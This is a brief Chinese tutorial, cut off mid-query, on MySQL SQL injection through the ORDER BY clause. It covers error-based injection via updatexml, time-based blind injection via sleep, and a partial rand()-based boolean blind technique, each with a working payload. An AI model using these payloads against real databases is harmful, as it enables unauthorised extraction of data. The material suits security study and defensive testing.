目录
order by
(1)order by 注入存在原因
order by 子句在MySQL中可以猜测表中的列数,再配合union select语句进行回显。
但是,当页面出现MySQL报错信息时,且order by后面有可控参数,此时就可以利用报错信息进行注入
(2)案例1:利用报错函数注入
select * from users order by updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1);
(3)案例2:利用延时函数注入
select * from users order by if(concat(0x7e,user(),0x7e),1,sleep(3));
延迟时间不是3秒,而是查询的数据条数*3=总共的延时时间
当SQL语句为真时就会有延迟,SQL语句为假时是以正常时间显示。
(4)案例3:利用rand()盲注
rand()函数产生的随机数是0到1之间,但是当给rand()函数一个参数时,这个参数就变成一个种子,这个种子生成的0到1之间的随机数是固定不变的
我们发现rand()参数为0或1时,我们使用布尔盲注再次测试
select * from users order by rand(